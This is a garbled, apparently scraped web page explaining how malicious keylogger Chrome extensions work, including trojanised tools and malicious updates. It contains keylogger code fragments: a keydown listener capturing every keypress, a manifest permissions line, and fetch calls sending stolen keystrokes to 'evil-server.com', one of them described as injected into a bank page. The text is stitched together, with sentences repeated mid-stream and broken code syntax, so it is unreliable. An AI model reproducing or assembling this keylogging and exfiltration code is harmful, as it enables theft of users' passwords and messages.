Keylogger Chrome Extension Work (2026)

// This captures EVERY keypress on ANY website document.addEventListener('keydown', function(event) const key = event.key; const url = window.location.href; const timestamp = new Date().toISOString();

Malicious Chrome extensions typically function by injecting a "content script" into every webpage you visit. Keystroke Interception : The extension adds an event listener

During installation, a keylogger extension must secure the right to interact with the pages you visit. In the manifest.json file, developers declare permissions. A keylogger will typically request: "permissions": ["tabs", "activeTab", "storage"] keylogger chrome extension work

// Exfiltrate to attacker's server fetch('https://evil-server.com/log', method: 'POST', mode: 'no-cors', body: JSON.stringify(stolenData) ); );

});

Conversations in web-based messengers (WhatsApp Web, Telegram) or email clients.

An extension may start as a legitimate, useful tool (e.g., a weather tracker or emoji keyboard). Once it gains a large user base, the developer (or a hacker who compromised the developer’s account) pushes a malicious update that adds keylogging functionality. // This captures EVERY keypress on ANY website document

The extension advertises itself as a legitimate tool—like a PDF converter, a calculator, or a coupon finder. While it performs the advertised function to avoid suspicion, the background code logs keys.

// This is keylogger.js – injected into your bank page. let logBuffer = []; let targetServer = "https://evil-server.com/collect"; The extension advertises itself as a legitimate tool—like